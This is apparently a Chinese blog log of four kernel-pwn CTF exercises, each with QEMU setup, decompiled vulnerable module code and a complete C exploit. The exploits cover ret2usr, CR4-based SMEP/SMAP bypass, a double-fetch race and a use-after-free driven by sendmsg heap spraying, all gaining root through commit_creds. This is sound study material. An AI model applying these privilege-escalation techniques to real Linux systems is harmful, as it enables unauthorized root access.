0%

kernelpwn刷题记录.md

kernelpwn刷题记录

0x1 level1

0x1.1 boot.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null

noksalr,nosmep,nosmap

0x1.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

没有对proc/kallsyms保护

0x1.3 baby.ko

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rbp
__int64 v3; // rdx
_QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF

_fentry__();
if ( a2 != 0x6001 )
return 0LL;
v5[16] = v2;
return (int)copy_from_user(v5, v3, 256LL);
}

有栈溢出,直接ret2usr,使用kallsyms查看函数地址的时候发现地址全为0,百度后发现是内核的一种保护措施,只有root用户能够直接查看kallsyms,所以本地调试的时候把用户权限改大就好

提取vmlinux的命令

1
2
/usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
objdump -d vmlinux > gadget

0x1.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

size_t prepare_kernel_cred=0xffffffff810b9d80;
size_t commit_creds=0xffffffff810b99d0;
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void up_power(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}

int main(){
save_status();
size_t swapgs_pop_rbp_ret=0xffffffff81070834;
size_t iretq=0xffffffff81036a5b;
size_t rop[32]={0};
rop[17]=(size_t)up_power;
rop[18]=swapgs_pop_rbp_ret;
rop[20]=iretq;
rop[21]=(size_t)usr_shell;
rop[22] = user_cs;
rop[23] = user_rflags;
rop[24] = user_sp;
rop[25] = user_ss;
int fd=open("/dev/baby",0);
if(fd<0){
printf("[-] bad open\n");
}
ioctl(fd,0x6001,rop);
}

提权成功

1
2
3
4
5
6
/ $ id
uid=1000(pwn) gid=1000 groups=1000
/ $ ./exp
[*]status has ben saved.
/ # id
uid=0(root) gid=0

0x1.5 问题

使用add-symbol-file baby.ko 0x0并不能断成功ko文件的函数,此时我们可以使用lsmod得知ko文件的首地址,然后利用具体地址断点,而不是通过函数名

0x2 level2

0x2.1 boot.sh

难度升级,开起了smep,smap和kaslr,为了方便调试先关闭kaslr.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

0x2.2 ko文件保护

1
2
3
4
5
6
7
.ko
[*] '/home/rootzhang/kernelstudy/pwnstudy/level2/baby.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

比原来多了canary保护

0x2.3 baby.ko

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rbp
__int64 v3; // rdx
_QWORD v5[18]; // [rsp-90h] [rbp-90h] BYREF

_fentry__();
v5[17] = v2;
v5[16] = __readgsqword(0x28u);
if ( a2 == 24577 )
return (int)copy_from_user(v5, v3, 512LL);
if ( a2 == 24578 )
return (int)copy_to_user(v3, v5, 512LL);
return 0LL;
}

存在泄露和溢出,具体思路就是先泄露canary和内核地址,然后再溢出完成提权,提权有两种思路,一个方式是改变smep和smap的标志位然后ret2usr,一种方式是直接rop

0x2.4 exp

我采用的是更改cr4完成commits(prepare_kernel_cred(0))完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
size_t commit_creds_offset=0xb99d0;
size_t prepare_kernel_cred_offset=0xb9d80;
size_t vmlinux_base_addr=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
void up_power(){
size_t commit_creds=vmlinux_base_addr+commit_creds_offset;
size_t prepare_kernel_cred=vmlinux_base_addr+prepare_kernel_cred_offset;
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}



size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
int main(){
save_status();
int fd=open("/dev/baby",0);
if(fd<0){
printf("[*] open fail");
}
size_t buf[0x200]={0};
size_t rop[0x200]={0};
ioctl(fd,0x6002,buf);
size_t canary=buf[16];
vmlinux_base_addr=buf[9]-0x29b078;
size_t swapgs_pop_rbp_ret=vmlinux_base_addr+0xffffffff81070834-vmlinux_nokaslr_addr;
size_t itretq=vmlinux_base_addr+0xffffffff81036a5b-vmlinux_nokaslr_addr;
size_t mov_cr4_pop_rbp_ret=vmlinux_base_addr+0xffffffff81020300-vmlinux_nokaslr_addr;
size_t pop_rdi_rbx=vmlinux_base_addr+0xffffffff81087c99-vmlinux_nokaslr_addr;
int i=16;
rop[i++]=canary;
i++;
rop[i++]=pop_rdi_rbx;
rop[i++]=0x6f0;
rop[i++]=0x6f0;
rop[i++]=mov_cr4_pop_rbp_ret;
rop[i++]=0;
rop[i++]=(size_t)up_power;
rop[i++]=swapgs_pop_rbp_ret;
rop[i++]=0;
rop[i++]=itretq;
rop[i++]=(size_t)usr_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
ioctl(fd,0x6001,rop);

0x3 level3

0x3.1 start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

其中-smp 2,cores=2,threads=1的作用如下

image-20220406200817128

也就是说这个内核可以开至多两个线程了。

0x3.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

0x3.3 ko文件

一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall baby_ioctl(__int64 a1, int a2)
{
__int64 v2; // rdx
int i; // [rsp-5Ch] [rbp-5Ch]
__int64 v5; // [rsp-58h] [rbp-58h]

_fentry__();
v5 = v2;
if ( a2 == 26214 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
return 0LL;
}
else if ( a2 == 4919
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
}
else
{
return 14LL;
}
}

分析:允许传入一个结构体的指针,结构体长这个样子

1
2
3
4
struct message{
char *buf;
int len;
}m;

他会检查buf+len的地址又没有超出用户态的最高地址,如果超出了就会退出,如果没有超出就会拿buf的字符一个个和flag比对,如果全部比对成功就会返回flag值。

漏洞利用:这个内核允许开两个线程,所以可以利用这一点,主线程传入正常的m然后开启一个支线程一直修改m的buf为flag_addr,这样支线程就有几率当主线程刚检查完m后支线程修改m.buf=flag_addr,这样就能比对成功输出flag值了。

0x3.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include<string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<pthread.h>
struct message{
char *buf;
int len;
}m;
void change_flag_addr(size_t flag_addr){
while(1){
m.buf=flag_addr;
}
}
int main(){
int fd=open("dev/baby",0);
ioctl(fd,0x6666,0);
system("dmesg |grep 'Your flag is at ' > ./flag_addr.txt");
int temp_fd=open("./flag_addr.txt",0);
char buf[100]={0};
int len=strlen("[ 2.817016] Your flag is at ");
read(temp_fd,buf,100);
close(temp_fd);
size_t flag_addr=strtoull(buf+len,buf+len+16,16);
printf("flag_addr:%d\n",flag_addr);
m.buf=buf;
int ret;
for(int i=0;i<100;i++){
m.len=i;
ret=ioctl(fd,0x1337,&m);
if(ret==22){
printf("flag_len:%d\n",i);
break;
}
}
pthread_t tid;
pthread_create(&tid,NULL,change_flag_addr,flag_addr);
for(int i=0;i<0x100000;i++){
m.buf=buf;
ret=ioctl(fd,0x1337,&m);
if(ret==0){
printf("susses\n");
break;
}
}
close(fd);
system("dmesg |grep 'Looks like the flag is' > ./flag.txt");
temp_fd=open("./flag.txt",0);
read(temp_fd,buf,100);
write(STDOUT_FILENO,buf,100);
close(temp_fd);
return 0;
}

0x3.5 收获

1.第一次做多线程的内核题,主要利用姿势就是通过主线程完成检查后支线程修改数据。

2.strtoull函数,第一个参数是要转换字符串的首地址,第二个是要转换的字符串的最后一个地址的后一个地址,第三个参数是进制,返回一个8字节数。

0x4 level4

0x4.1 start.sh

保护全开,本地调试的时候先关闭kaslr.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

0x4.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f

0x4.3 ko文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rdx
__int64 v3; // r13
__int64 v4; // rbx
__int64 v6; // rax
__int64 v7; // r12
__int64 v8; // rax
__int64 v9; // rdx
__int64 v10; // rax
__int64 v11; // rsi
__int64 v12; // rax

_fentry__();
v3 = v2;
v4 = kmem_cache_alloc_trace(kmalloc_caches[4], 6291648LL, 16LL);
copy_from_user(v4, v3, 16LL);
switch ( a2 )
{
case 24584:
v12 = *(int *)(v4 + 8);
if ( (unsigned int)v12 <= 0x1F && qword_6C0[v12] )
((void (*)(void))kfree)();
break;
case 24585:
v10 = *(int *)(v4 + 8);
if ( (unsigned int)v10 <= 0x1F )
{
v11 = qword_6C0[v10];
if ( v11 )
(*(void (__fastcall **)(_QWORD, __int64, __int64))(v11 + 64))(*(_QWORD *)(v11 + 56), v11, 72LL);
}
break;
case 24583:
v6 = 0LL;
while ( 1 )
{
v7 = (int)v6;
if ( !qword_6C0[v6] )
break;
if ( ++v6 == 32 )
goto LABEL_4;
}
v8 = kmem_cache_alloc_trace(kmalloc_caches[1], 6291648LL, 72LL);
v9 = *(_QWORD *)v4;
qword_6C0[v7] = v8;
*(_QWORD *)(v8 + 64) = &copy_to_user;
*(_QWORD *)(v8 + 56) = v9;
break;
}
LABEL_4:
kfree(v4);
return 0LL;
}

发现会申请72字节,根据上一篇slub的分析可知,申请72字节的话其实会分配给你96字节的,也就是0x60,申请完在这个堆里填入一个函数地址然后后面会调用这个地址,所以如果能覆盖这个地址就能拿到程序流了,后面free这个堆的时候没有清除指针,存在uaf,所以可以利用堆喷申请内核堆,申请0x10000肯定能申请到刚才free的堆,然后把那个堆的函数指针覆盖就可以了,这里采用sendmsg进行堆喷。

0x4.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t vmlinux_addr=0;
size_t commit_creds=0;
size_t prepare_kernel_cred=0;
size_t really_addr(size_t addr){
return vmlinux_addr+addr-vmlinux_nokaslr_addr;
}

void up_power(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
struct input{
size_t *buf;
int idx;
}input;

void add(int fd){
ioctl(fd,0x6007,&input);
}

void show(int fd){
ioctl(fd,0x6009,&input);
}
void del(int fd){
ioctl(fd,0x6008,&input);
}
void main(){
save_status();
int fd=open("dev/baby",0);
input.buf=(size_t *)malloc(8*12);
input.idx=0;
add(fd);
show(fd);
del(fd);
vmlinux_addr=input.buf[8]-0x4d4680;
size_t mov_cr4_pop_ret=really_addr(0xffffffff81070790);
commit_creds=really_addr(0xffffffff810b99d0);
prepare_kernel_cred=really_addr(0xffffffff810b9d80);

char buf[96];
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd=socket(AF_INET,SOCK_DGRAM,0);
((size_t *)buf)[7]=0x6f0;
((size_t *)buf)[8]=mov_cr4_pop_ret;
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
msg.msg_control=buf;
msg.msg_controllen=96;
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen=sizeof(addr);
for(int i=0;i<0x10000;i++){
sendmsg(sockfd,&msg,0);
}
printf("cr4:%p/n",mov_cr4_pop_ret);
show(fd);
((size_t *)buf)[8]=(size_t)up_power;
input.idx=1;
add(fd);
del(fd);
for(int i=0;i<0x10000;i++){
sendmsg(sockfd,&msg,0);
}
show(fd);
if(getuid()==0){
puts("[*]--getshell ok");
system("/bin/sh");
}
}

0x4.5 sendmsg堆喷

堆喷的简单原理就是在用户态申请n多个内核堆然后然后填入数据,如果ko文件存在uaf的话那就可以利用堆喷拿到被free掉的堆修改其中的内容,进而影响程序执行。

sendmsg首先涉及了两个结构体struct msghdrstruct sockaddr_in 首先是sockaddr_in记录了数据包的目的地址和端口号,然后把这个结构体的地址赋值给msghdr.msg_name,把这个结构体的大小赋值给msghdr.msg_namelen,然后把要发送的数据包的地址给msg.msg_control,把数据包的长度传递给msg.msg_controllen,最后调用sendmsg()函数,sendmsg函数的大概过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小
unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
int ctl_len;
ssize_t err;

msg_sys->msg_name = &address;

if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部
if (err < 0)
return err;

err = -ENOBUFS;

if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen
goto out_freeiov;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) { //注意用户数据的size必须大于44字节
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。 用户数据拷贝到ctl_buf内核空间。
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
...

可见如果msg.msg_controllen>44就会申请一个msg_controllen大小的堆块,然后把msg_control指向的数据赋值给刚申请的堆块,多次使用sendmsg就能达到堆喷的目的。